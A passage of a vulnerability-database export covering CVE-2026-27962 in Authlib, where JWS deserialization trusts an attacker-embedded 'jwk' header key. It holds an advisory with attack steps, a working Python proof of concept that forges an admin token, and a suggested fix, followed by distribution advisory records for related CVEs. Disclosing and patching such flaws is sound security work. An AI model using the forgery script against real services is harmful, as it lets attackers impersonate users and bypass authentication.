bypassing authentication and authorization entirely.\n\nThis behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.\n\n### Details\n\n**Vulnerable file:** `authlib/jose/rfc7515/jws.py`  \n**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`  \n**Lines:** 272–273\n\n```python\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]   # ← attacker-controlled key used for verification\n ```\n\nWhen `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or\n`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts\nthat value — which is fully attacker-controlled — and uses it as the verification key.\n\n**RFC 7515 violations:**\n\n- **§4.1.3** explicitly states the `jwk` header parameter is **\"NOT RECOMMENDED\"** because keys\n  embedded by the token submitter cannot be trusted as a verification anchor.\n- **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application\n  context*, not from the token itself. There is no step in the RFC that permits falling back to\n  the `jwk` header when no application key is provided.\n\n**Why this is a library issue, not just a developer mistake:**\n\nThe most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.\nA developer writes:\n \n```python\ndef lookup_key(header, payload):\n    kid = header.get(\"kid\")\n    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated\n\n jws.deserialize_compact(token, lookup_key)\n```\n\nWhen an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.\nThe library then silently falls through to `key = header[\"jwk\"]`, trusting the attacker's embedded\n key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result\nlooks like a verified token with no exception raised, making the substitution invisible.\n\n**Attack steps:**\n\n1. Attacker generates an RSA or EC keypair.\n2. Attacker crafts a JWT payload with any desired claims (e.g. `{\"role\": \"admin\"}`).\n3. Attacker signs the JWT with their **private** key.\n4. Attacker embeds their **public** key in the JWT `jwk` header field.\n5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.\n6. The library uses `header[\"jwk\"]` for verification — signature passes.\n7. Forged claims are returned as authentic.\n\n### PoC\n\nTested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).\n\n**Requirements:**\n```\npip install authlib cryptography\n```\n \n**Exploit script:**\n```python\nfrom authlib.jose import JsonWebSignature, RSAKey\n import json\n\njws = JsonWebSignature([\"RS256\"])\n\n# Step 1: Attacker generates their own RSA keypair\nattacker_private = RSAKey.generate_key(2048, is_private=True)\n attacker_public_jwk = attacker_private.as_dict(is_private=False)\n\n# Step 2: Forge a JWT with elevated privileges, embed public key in header\nheader = {\"alg\": \"RS256\", \"jwk\": attacker_public_jwk}\nforged_payload = json.dumps({\"sub\": \"attacker\", \"role\": \"admin\"}).encode()\nforged_token = jws.serialize_compact(header, forged_payload, attacker_private)\n\n# Step 3: Server decodes with key=None — token is accepted\nresult = jws.deserialize_compact(forged_token, None)\nclaims = json.loads(result[\"payload\"])\nprint(claims)  # {'sub': 'attacker', 'role': 'admin'}\nassert claims[\"role\"] == \"admin\"  # PASSES\n```\n\n**Expected output:**\n```\n{'sub': 'attacker', 'role': 'admin'}\n```\n\n**Docker (self-contained reproduction):**\n```bash\nsudo docker run --rm authlib-cve-poc:latest \\\n  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py\n ```\n\n### Impact\n\nThis is an authentication and authorization bypass vulnerability. Any application using authlib's\nJWS deserialization is affected when:\n\n- `key=None` is passed directly, **or**\n- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)\n\nAn unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims\n(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.\n The forged token is indistinguishable from a legitimate one — no exception is raised.\n \nThis is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk`\nheader parameter is \"NOT RECOMMENDED\" as a key source, and the validation key MUST come from\nthe application context, not the token itself.\n\n**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:\n```python\n # DELETE:\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]\n ```\n\n**Recommended safe replacement** — raise explicitly when no key is resolved:\n ```python\nif key is None:\n    raise MissingKeyError(\"No key provided and no valid key resolvable from context.\")\n```","status":"published","published":"2026-06-29T11:50:45.440491Z","modified":"2026-07-13T16:15:15.641042659Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"ROOT-APP-PYPI-CVE-2026-27962","title":"CVE-2026-27962 in Authlib - Patched by Root","description":"Root has patched CVE-2026-27962 in the Authlib package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-08-03T13:55:10Z","modified":"2026-08-03T18:15:07.616548189Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"UBUNTU-CVE-2026-27962","description":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.","status":"published","published":"2026-03-16T18:16:00Z","modified":"2026-10-17T12:59:56.992027275Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"openSUSE-SU-2026:20392-1","title":"Security update for python-Authlib","description":"This update for python-Authlib fixes the following issues:\n\nChanges in python-Authlib:\n\n- CVE-2026-27962: JWS `deserialize_compact()` allows for signature bypass by\n  accepting user-controlled embedded JWK as verification key (bsc#1259738)\n- CVE-2026-28490: cryptographic padding oracle in JWE RSA1_5 key management\n  algorithm (bsc#1259736)\n- CVE-2026-28498: fail-open in behavior OIDC hash validation allows for bypass\n  mandatory integrity protections (bsc#1259737)\n","status":"published","published":"2026-03-18T17:30:06Z","modified":"2026-03-26T17:23:49.961154Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2026:0975-1","title":"Security update for python-Authlib","description":"This update for python-Authlib fixes the following issues:\n\n- CVE-2026-27962: JWS `deserialize_compact()` allows for signature bypass by accepting user-controlled embedded JWK as\n  verification key (bsc#1259738).\n- CVE-2026-28490: cryptographic padding oracle in JWE RSA1_5 key management algorithm (bsc#1259736).\n- CVE-2026-28498: fail-open in behavior OIDC hash validation allows for bypass mandatory integrity protections\n  (bsc#1259737).\n","status":"published","published":"2026-03-23T16:34:37Z","modified":"2026-03-25T08:30:56.260304Z","updated_at":"2026-11-02T15:54:01.262144Z"},{"id":"USN-8557-1","title":"python-authlib vulnerabilities","description":"Jay Neiva and Mauro Carrillo discovered that Authlib did not properly\nvalidate cryptographic keys embedded in JWT headers. An attacker could\npossibly use this issue to forge trusted tokens, resulting in\nauthentication and authorization bypass. (CVE-2026-27962)\n\nJay Neiva and Mauro Carrillo discovered that Authlib incorrectly handled\nRSA1_5 encrypted tokens. An attacker could possibly use this issue to\nrecover sensitive encrypted information, resulting in information\ndisclosure. (CVE-2026-28490)\n\nJay Neiva and Mauro Carrillo discovered that Authlib did not properly\nreject unsupported cryptographic algorithms when validating OpenID\nConnect ID tokens. An attacker could possibly use this issue to bypass\ntoken integrity checks, resulting in authentication bypass.\n(CVE-2026-28498)\n\nJohnny Deuss discovered that Authlib did not provide cross-site request\nforgery protection for the OAuth cache feature in its Starlette\nintegration. An attacker could possibly use this issue to perform\nunauthorized OAuth actions, resulting in cross-site request forgery.\nThis issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS.\n(CVE-2026-41425)","status":"published","published":"2026-07-16T17:44:41Z","modified":"2026-07-17T01:35:30.249393198Z","updated_at":"2026-11-02T16:58:25.103481Z"}]}}
